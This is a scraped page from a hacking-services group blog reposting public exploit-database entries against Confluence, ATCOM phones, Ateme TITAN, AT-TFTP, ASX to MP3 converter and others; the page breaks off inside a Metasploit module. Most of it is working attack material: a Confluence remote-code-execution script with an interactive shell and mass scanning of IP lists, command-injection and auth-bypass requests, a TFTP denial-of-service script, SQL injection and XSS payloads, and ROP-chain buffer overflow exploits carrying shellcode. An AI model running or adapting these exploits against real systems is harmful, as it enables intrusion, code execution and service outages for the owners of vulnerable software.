Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863113889

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/55509/info

Atlassian Confluence is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Atlassian Confluence versions prior to 4.1.9 are vulnerable. 

 http://www.example.com/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%28%27XSS%27%29%22%3E.vm
HireHackking 
# Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability
# Date: 25/1/2024
# Exploit Author: MaanVader
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://www.atlassian.com/software/confluence
# Version:  8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3
# Tested on: 8.5.3
# CVE : CVE-2023-22527



import requests
import argparse
import urllib3
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from rich.console import Console

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Argument parsing
parser = argparse.ArgumentParser(description="Send a payload to Confluence servers.")
parser.add_argument("-u", "--url", help="Single Confluence Server URL")
parser.add_argument("-f", "--file", help="File containing list of IP addresses")
parser.add_argument("-c", "--command", help="Command to Execute")
parser.add_argument("--shell", action="store_true", help="Open an interactive shell on the specified URL")
args = parser.parse_args()

# Rich console for formatted output
console = Console()

# Function to send payload
def send_payload(url, command):
    headers = {
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    payload = ('label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027'
                      '&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"' + command + '"}))\r\n')
    headers['Content-Length'] = str(len(payload))
    
    full_url = f"{url}/template/aui/text-inline.vm"
    response = requests.post(full_url, verify=False, headers=headers, data=payload, timeout=10, allow_redirects=False)
    return response.text.split('<!DOCTYPE html>')[0].strip()

# Interactive shell function
def interactive_shell(url):
    session = PromptSession()
    console.print("[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]")
    while True:
        try:
            cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))
            if cmd.lower() in ["exit", "quit"]:
                break
            response = send_payload(url, cmd)
            console.print(response)
        except KeyboardInterrupt:
            break
        except Exception as e:
            console.print(f"[bold red]Error: {e}[/bold red]")
            break

# Process file function
def process_file(file_path):
    with open(file_path, 'r') as file:
        for line in file:
            ip = line.strip()
            url = f"http://{ip}:8090"
            console.print(f"Processing {url}")
            print(send_payload(url, args.command))

# Main execution logic
if args.shell and args.url:
    interactive_shell(args.url)
elif args.url and args.command:
    print(send_payload(args.url, args.command))
elif args.file and args.command:
    process_file(args.file)
else:
    print("Error: Please provide a valid URL and a command or use the interactive shell option.")
HireHackking 
=====[ Tempest Security Intelligence - ADV-3/2016 CVE-2016-6283 ]==============

  Persisted Cross-Site Scripting (XSS) in Confluence Jira Software
  ----------------------------------------------------------------

  Author(s):
        - Jodson Santos
        - jodson.santos@tempest.com.br

  Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[Table of Contents]=====================================================

1. Overview
2. Detailed description
3. Affected versions & Solutions
4. Timeline of disclosure
5. Thanks & Acknowledgements
6. References

=====[1. Overview]============================================================

 * System affected  : Atlassian Confluence
 * Software Version : 5.9.12
                      Other versions or models may also be affected.
 * Impact           : This vulnerability allows an attacker to use
Confluence's
                      platform to deliver attacks against other users.

=====[2. Detailed description]================================================

Atlassian Confluence version 5.9.12 is vulnerable to persistent cross-site
scripting (XSS) because it fails to securely validate user controlled data,
thus making it possible for an attacker to supply crafted input in order to
harm users. The bug occurs at pages carrying attached files, even though
the attached file name parameter is correctly sanitized upon submission, it is
possible for an attacker to later edit the attached file name property and
supply crafted data (i.e HTML tags and script code) without the
occurrence of any security checks, resulting in an exploitable persistent XSS.

In order to reproduce the vulnerability, go to a page with an attached
file, click on "Attachments" in order to list the page's attachments, and then
click on "Properties" for the file of your choice. Edit the file name to, for
example, <script>alert(1)</script>test.pdf and then save the changes.
Albeit the XSS is not executed within the page display, it is possible to
trigger the execution of the supplied code while performing a search within
Confluence in which results include the attachment with crafted file name. For that
matter, the search terms " or * will promptly display the file and execute the
injected javascript code.

As a means to further enlighten this, the following excerpt demonstrates
a POST request with the malicious insertion within the newFileName field:

POST
/pages/doeditattachment.action?pageId={pageId}&attachmentBean.fileName={filename} HTTP/1.1
Host: {confluence host}
Cookie: mywork.tab.tasks=false; JSESSIONID={redacted};
confluence.browse.space.cookie=space-templates
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: {redacted}

atl_token={atl_token}&pageId={pageId}&isFromPageView=false&newFileName=<script>alert(1)</script>file&newComment=&newContentType=application%2Foctet-stream&newParentPage=&confirm=Save

It is worth noting that the issue may affect users regardless of privilege
levels, since the malicious page/attachment can be browsed by any user
within the Atlassian Confluence instance.

=====[3. Affected versions & Solutions]=======================================

This test was performed against Atlassian Confluence version 5.9.12.

According to vendor's response, the vulnerability is addressed and the
fix is part of the 5.10.6 release.

=====[4. Timeline of disclosure]==============================================

Jul/07/2016 - Vendor acknowledged the vulnerability.
Aug/04/2016 - Vendor released the fix for the vulnerability in version 5.10.6.

=====[5. Thanks & Acknowledgements]===========================================

  - Tempest Security Intelligence / Tempest's Pentest Team [1]
  - Joaquim Brasil
  - Heyder Andrade
  - Breno Cunha

=====[6. References]==========================================================

[1] https://en.wikipedia.org/wiki/Confluence_(software)
HireHackking 
# Exploit Title:   ATKGFNEXSrv ATKGFNEX- Privilege Escalation Unquoted Service Path vulnerability
# Date: 13/10/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: www.asus.com
# Version:  1.0.11.1
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
 
The application suffers from an unquoted service path issue impacting the service 'ATKGFNEXSrv (GFNEXSrv.exe)' deployed as part of ATKGFNEX

This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
 
POC :
 
 
C:\Users\Utilisateur>sc qc "ATKGFNEXSrv"
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ATKGFNEXSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
        LOAD_ORDER_GROUP   : ShellSvcGroup
        TAG                : 0
        DISPLAY_NAME       : ATKGFNEX Service
        DEPENDENCIES       : ASMMAP64
        SERVICE_START_NAME : LocalSystem

Additional notes :

https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu
HireHackking 
#Exploit Title: Atheros Coex Service Application 8.0.0.255 -'ZAtheros Bt&Wlan Coex Agent' Unquoted Service Path
#Exploit Author : Isabel Lopez
#Exploit Date: 2020-11-13
#Vendor Homepage : https://www.file.net/process/ath_coexagent.exe.html
#Link Software : https://www.boostbyreason.com/resource-file-9102-ath_coexagent-exe.aspx
#Tested on OS: Windows 8.1 (64bits)


# 1. Description
# Atheros Coex Service Application 8.0.0.255 has an unquoted service path.

# 2. PoC

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

ZAtheros Bt&Wlan Coex Agent	ZAtheros Bt&Wlan Coex Agent	C:\Program Files (x86)\Bluethooth Suite\Aht_CoexAgent.exe    Auto

C:\>sc qc WCAssistantService
[SC] QueryServiceConfig SUCCES

SERVICE_NAME: WCAssistantService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Bluethooth Suite\Aht_CoexAgent.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ZAtheros Bt&Wlan Coex Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
#Exploit Title: Ateme TITAN File 3.9 - SSRF File Enumeration
#Exploit Author: LiquidWorm


Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.9.12.4
                  3.9.11.0
                  3.9.9.2
                  3.9.8.0

Summary: TITAN File is a multi-codec/format video transcoding
software, for mezzanine, STB and ABR VOD, PostProduction, Playout
and Archive applications. TITAN File is based on ATEME 5th Generation
STREAM compression engine and delivers the highest video quality
at minimum bitrates with accelerated parallel processing.

Desc: Authenticated Server-Side Request Forgery (SSRF) vulnerability
exists in the Titan File video transcoding software. The application
parses user supplied data in the job callback url GET parameter. Since
no validation is carried out on the parameter, an attacker can specify
an external domain and force the application to make an HTTP/DNS/File
request to an arbitrary destination. This can be used by an external
attacker for example to bypass firewalls and initiate a service, file
and network enumeration on the internal network through the affected
application.

Tested on: Microsoft Windows
           NodeJS
           Ateme KFE Software


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5781
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5781.php


22.04.2023

--


curl -vk -H "X-TITAN-WEB-HASTOKEN: true" \
         -H "X-TITAN-WEB-TOKEN: 54E83A8B-E9E9-9C87-886A-12CB091AB251" \
         -H "User-Agent: sunee-mode" \
         "https://10.0.0.8/cmd?data=<callback_test><url><!\[CDATA\[file://c:\\\\windows\\\\system.ini\]\]></url><state><!\[CDATA\[encoding\]\]></state></callback_test>"

Call to file://C:\\windows\\system.ini returned 0

---

HTTP from Server
----------------

POST / HTTP/1.1
Host: ssrftest.zeroscience.mk
Accept: */*
Content-Type: application/xml
Content-Length: 192

<?xml version='1.0' encoding='UTF-8' ?>
<update>
   <id>0000</id>
   <name>dummy test job</name>
   <status>aborted</status>
   <progress>50</progress>
   <message>message</message>
</update>
HireHackking 
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A

Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines

js/util.js
function alertWithoutLogin(){
    var username = getCookie("username");
    //alert(username);
    if(!!!username){
        alert('Sorry, permission denied. Please login first!');
    }
}

so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!

exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/

Demo request

GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1

From Eg-R1z with love
./Faris
HireHackking 
# Exploit Title: Atcom 2.7.x.x - Authenticated Command Injection
# Google Dork: N/A
# Date: 07/09/2023
# Exploit Author: Mohammed Adel
# Vendor Homepage: https://www.atcom.cn/
# Software Link:
https://www.atcom.cn/html/yingwenban/Product/Fast_IP_phone/2017/1023/135.html
# Version: All versions above 2.7.x.x
# Tested on: Kali Linux


Exploit Request:

POST /cgi-bin/web_cgi_main.cgi?user_get_phone_ping HTTP/1.1
Host: {TARGET_IP}
User-Agent: polar
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Authorization: Digest username="admin", realm="IP Phone Web
Configuration", nonce="value_here",
uri="/cgi-bin/web_cgi_main.cgi?user_get_phone_ping",
response="value_here", qop=auth, nc=value_here, cnonce="value_here"

cmd=0.0.0.0$(pwd)&ipv4_ipv6=0&user_get_phone_ping


Response:

{"ping_cmd_result":"cGluZzogYmFkIGFkZHJlc3MgJzAuMC4wLjAvdXNyL2xvY2FsL2FwcC9saWdodHRwZC93d3cvY2dpLWJpbicK","ping_cmd":"0.0.0.0$(pwd)"}

The value of "ping_cmd_result" is encoded as base64. Decoding the
value of "ping_cmd_result" reveals the result of the command executed
as shown below:

ping: bad address '0.0.0.0/usr/local/app/lighttpd/www/cgi-bin'
HireHackking 
source: https://www.securityfocus.com/bid/51317/info
 
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageE.php?id=118+order+by+10--
HireHackking 
source: https://www.securityfocus.com/bid/51317/info
  
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageH.php?id=104'
HireHackking 
source: https://www.securityfocus.com/bid/51317/info

Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/gallery_e.php?id=118+order+by+10--
HireHackking 
source: https://www.securityfocus.com/bid/48970/info

Ataccan E-ticaret scripti is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/name.asp?id=[SQLInjection]
HireHackking 
source: https://www.securityfocus.com/bid/47561/info

AT-TFTP is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.

AT-TFTP 1.8 is affected; other versions may also be vulnerable. 

#!/usr/bin/python

##############################################################################
# Exploit   : http://secpod.org/blog/?p=XXXXXXXXXXXXXXXXXXXXXXXXX
#             http://secpod.org/wintftp_dos_poc.py
# Reference : 
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
#
# Exploit will crash AT-TFTP Server v1.8 Service
# Tested against AT-TFTP Server v1.8 server
##############################################################################

import socket
import sys

host = '127.0.0.1'
port = 69

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

addr = (host,port)1

data ='\x00\x01\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x62\x6f\x6f' +\
      '\x74\x2e\x69\x6e\x69\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00'
s.sendto(data, (host, port))
HireHackking 
# Exploit Title: ASX to MP3 converter 3.1.3.7.2010.11.05 - '.wax' Local Buffer Overflow (DEP,ASLR Bypass) (PoC) 
# Software Link Download: https://github.com/x00x00x00x00/ASXtoMP3Converter_3.1.3.7.2010.11.05/blob/master/ASXtoMP3Converter_3.1.3.7.2010.11.05.exe?raw=true
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-08-25
# Vulnerable Software: ASX to MP3 converter
# Version: 3.1.3.7.2010.11.05
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

# Proof of Concept :

#   1.- Run python code: asx_to_mp3_rop_exploit.py
#   2.- Works on DEP enabled for ASX2MP3Converter.exe
#   3.- Open "ASX2MP3Converter.exe"
#   4.- Click on "Load" Button 
#   5.- Select generated file "asx_to_mp3_rop_exploit.wax".
#   6.- Click on "Open".
#   7.- Calc.exe runs.


#################################################################################################################################################

#Python "asx_to_mp3_rop_exploit.py" Code:

import struct
file = 'asx_to_mp3_rop_exploit.wax'


payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x10010C8A) + "CCCC"


## msfvenom -a x86 -p windows/exec cmd=calc -b "\x00\x0a\x09" -f python

buf =  ""
buf += "\xbe\x4b\xe7\x94\x8c\xdb\xcd\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x30\x31\x72\x13\x03\x72\x13\x83\xea\xb7\x05"
buf += "\x61\x70\xaf\x48\x8a\x89\x2f\x2d\x02\x6c\x1e\x6d\x70"
buf += "\xe4\x30\x5d\xf2\xa8\xbc\x16\x56\x59\x37\x5a\x7f\x6e"
buf += "\xf0\xd1\x59\x41\x01\x49\x99\xc0\x81\x90\xce\x22\xb8"
buf += "\x5a\x03\x22\xfd\x87\xee\x76\x56\xc3\x5d\x67\xd3\x99"
buf += "\x5d\x0c\xaf\x0c\xe6\xf1\x67\x2e\xc7\xa7\xfc\x69\xc7"
buf += "\x46\xd1\x01\x4e\x51\x36\x2f\x18\xea\x8c\xdb\x9b\x3a"
buf += "\xdd\x24\x37\x03\xd2\xd6\x49\x43\xd4\x08\x3c\xbd\x27"
buf += "\xb4\x47\x7a\x5a\x62\xcd\x99\xfc\xe1\x75\x46\xfd\x26"
buf += "\xe3\x0d\xf1\x83\x67\x49\x15\x15\xab\xe1\x21\x9e\x4a"
buf += "\x26\xa0\xe4\x68\xe2\xe9\xbf\x11\xb3\x57\x11\x2d\xa3"
buf += "\x38\xce\x8b\xaf\xd4\x1b\xa6\xed\xb2\xda\x34\x88\xf0"
buf += "\xdd\x46\x93\xa4\xb5\x77\x18\x2b\xc1\x87\xcb\x08\x3d"
buf += "\xc2\x56\x38\xd6\x8b\x02\x79\xbb\x2b\xf9\xbd\xc2\xaf"
buf += "\x08\x3d\x31\xaf\x78\x38\x7d\x77\x90\x30\xee\x12\x96"
buf += "\xe7\x0f\x37\xf5\x66\x9c\xdb\xfa"



## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11112112)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEEEEE)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)


## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN  
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() 
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN 
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)


## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN



## Save the address of esp in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN



##Save memory protection code (0x40) in ECX
payload += struct.pack('<L',0x1002e16c)   # POP ECX # RETN   
payload += struct.pack('<L',0xffffffff)
payload += struct.pack('<L',0x10031ebe)   # INC ECX # AND EAX,8 # RETN  
payload += struct.pack('<L',0x10031ebe)   # INC ECX # AND EAX,8 # RETN    
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7)   # ADD ECX,ECX # RETN


## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x10010C8A) # RETN




## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN



payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf



f = open(file,'w')
f.write(payload)
f.close()
HireHackking 
# Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)
# Google Dork: N/A
# Date: 2019-10-06
# Exploit Author: max7253
# Vendor Homepage: http://www.mini-stream.net/
# Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe
# Version: 3.1.3.7.2010.11.05
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
# CVE : N/A

# Note: There is a similar exploit published but it doesn't work in the OS I used:
# https://www.exploit-db.com/exploits/42963
# This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on.


import struct
file = 'fuzz_rop.asx'
#Tested on
#OS Name:                   Microsoft Windows 7 Enterprise
#OS Version:                6.1.7601 Service Pack 1 Build 7601
#System Type:               x64-based PC

#msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python
buf =  b""
buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"

payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"

## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11111111)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEFEEF)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)

## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll] 
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)

## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN

## Save the address of (# ADD ESP,8 # RETN) in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
#payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN

## Save memory protection code (0x40) in ECX
payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN
payload += struct.pack('<L', 0xFFFFFFFF)
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN

## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x1002D038) # RETN

## Save NOPs in EAX
#payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll] 
#payload += struct.pack('<L', 0x90909090) # nop

## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN

payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf

f = open(file,'w')
f.write(payload)
f.close()
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)",
      'Description'    => %q{
       This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7.
       By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
	   Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
	              Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Maxim Guslyaev', # EDB POC, Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-15221' ],
          [ 'EDB', '47468' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows 7 Enterprise/10 Pro',
            {
              'Ret' => 0x1002D038 # RET
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x09\x0a"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Oct 06 2019",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx'])
    ])
  end

  def exploit
  
